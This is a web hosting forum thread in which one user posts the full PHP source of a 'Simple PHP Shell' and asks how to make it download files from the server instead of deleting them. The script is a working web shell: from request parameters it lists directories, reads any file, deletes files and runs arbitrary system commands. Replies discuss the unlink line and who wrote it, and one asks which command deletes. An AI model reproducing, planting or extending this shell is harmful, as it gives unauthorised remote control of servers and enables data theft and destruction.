Activity Stream
48,167 MEMBERS
6876 ONLINE
besthostingforums On YouTube Subscribe to our Newsletter besthostingforums On Twitter besthostingforums On Facebook besthostingforums On facebook groups

Results 1 to 5 of 5
  1.     
    #1
    Probation

    Default Simple PHP Shell script by litewarez

    Hi theres im using this script that is by litewarez, but i have a problem, i notice that the script can delete files in the server, but i dont wnat to delete, i want to download this files to me, how can i do it?
    Here is the script.
    I tried to post another section, but i cant create a threat or topic

    Code: 
     
    <STYLE type="text/css">
    <!--a{text-decoration:none}-->
    </STYLE>
    <body bgcolor=black>
        <font color=white face="courier" size=2>
            <div align=right>//by phr0z</div>
            PHP shell in <?php echo $_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'] ?> <br>
            Server <?php echo $_SERVER['SERVER_NAME']; ?> <br><hr>
            <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method=GET>
                Navigate to:
                <input type="text" name="dir" value="<?php echo $dir ?>" size=50>
            </form>
            <form action="<?php print $_SERVER['PHP_SELF']; ?>" method=GET>
                Execute command:
                <input type="text" name="shell" size=45>
            </form>
    <?php
    
    if($_REQUEST['remove'] != NULL)
        unlink($_REQUEST['remove']);
    
    if($_REQUEST['file'] != NULL) {
        $fp = fopen($_REQUEST['file'], "rb");
        if($fp == NULL) {
            echo 'Can\'t open file '. $_REQUEST['file'];
            die;
        }
        echo '<br><br><pre>';
        fpassthru($fp);
    }
    
    if($_REQUEST['dir'] != NULL) {
        $dir = $_REQUEST['dir'];
        if(is_dir($dir)) {
            if($dh = opendir($dir))
            echo '<h3>Files in '. $dir .'</h3><br><br>';
                while(($file = readdir($dh)) !== false)
                if(is_dir($dir.'/'.$file))
                    echo '<a href="'. $_SERVER['PHP_SELF'] .'?dir='. $dir .'/'. $file .'">'. $file .'</a><br>';
                else {
                    echo '<a href="'. $_SERVER['PHP_SELF'] .'?file='. $dir .'/'. $file .'">'. $file .'</a>';
                    echo ' [<a href="'. $_SERVER['PHP_SELF'] .'?dir='. $dir .'&remove=' . $dir .'/'. $file .'">'. 'DEL</a>]<br>';
                }
            closedir($dh);
        } else 
        echo '<br><br>Directory '. $dir .' is invalid.';
    }
    
    if($_REQUEST['shell'] != NULL) {
        echo '<br><br><pre>';
        system($_REQUEST['shell']);
    }
    ?>
    bonucci Reviewed by bonucci on . Simple PHP Shell script by litewarez Hi theres im using this script that is by litewarez, but i have a problem, i notice that the script can delete files in the server, but i dont wnat to delete, i want to download this files to me, how can i do it? Here is the script. I tried to post another section, but i cant create a threat or topic <STYLE type="text/css"> <!--a{text-decoration:none}--> </STYLE> <body bgcolor=black> <font color=white face="courier" size=2> Rating: 5

  2.   Sponsored Links

  3.     
    #2
    Retired NinJa
    Website's:
    loledhard.com
    usually unlink delete the files so chk out this line. Havent really read the code. But this unlink() function deletes the file for sure

    PHP Code: 
     unlink($_REQUEST['remove']); 



    You don't hate Justin bieber.You hate the fact you ain't Justin Bieber!

  4.     
    #3
    Banned
    Website's:
    KWWHunction.com
    <div align=right>//by phr0z</div>

    Are you sure its by litewarez ?

  5.     
    #4
    Probation
    Well, i diddnt notice this, but was he that publish this script here

  6.     
    #5
    Banned
    Which Comman need to use to del?

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Help me with simple VB Script
    By Xeon in forum Web Development Area
    Replies: 0
    Last Post: 16th Sep 2012, 10:06 AM
  2. [Selling] Litewarez (Script,Domain)
    By litewarez in forum Completed Transactions
    Replies: 18
    Last Post: 3rd Jul 2010, 06:55 AM
  3. Litewarez Feture list (Reason why your site belongs on Litewarez)
    By litewarez in forum Webmaster Discussion
    Replies: 42
    Last Post: 15th May 2010, 05:58 PM
  4. Litewarez script :)
    By litewarez in forum Forum and DDL Discussion
    Replies: 19
    Last Post: 11th May 2010, 04:27 AM
  5. Simple PHP Shell script
    By litewarez in forum Webmaster Resources
    Replies: 8
    Last Post: 30th Mar 2009, 11:16 PM

Tags for this Thread

BE SOCIAL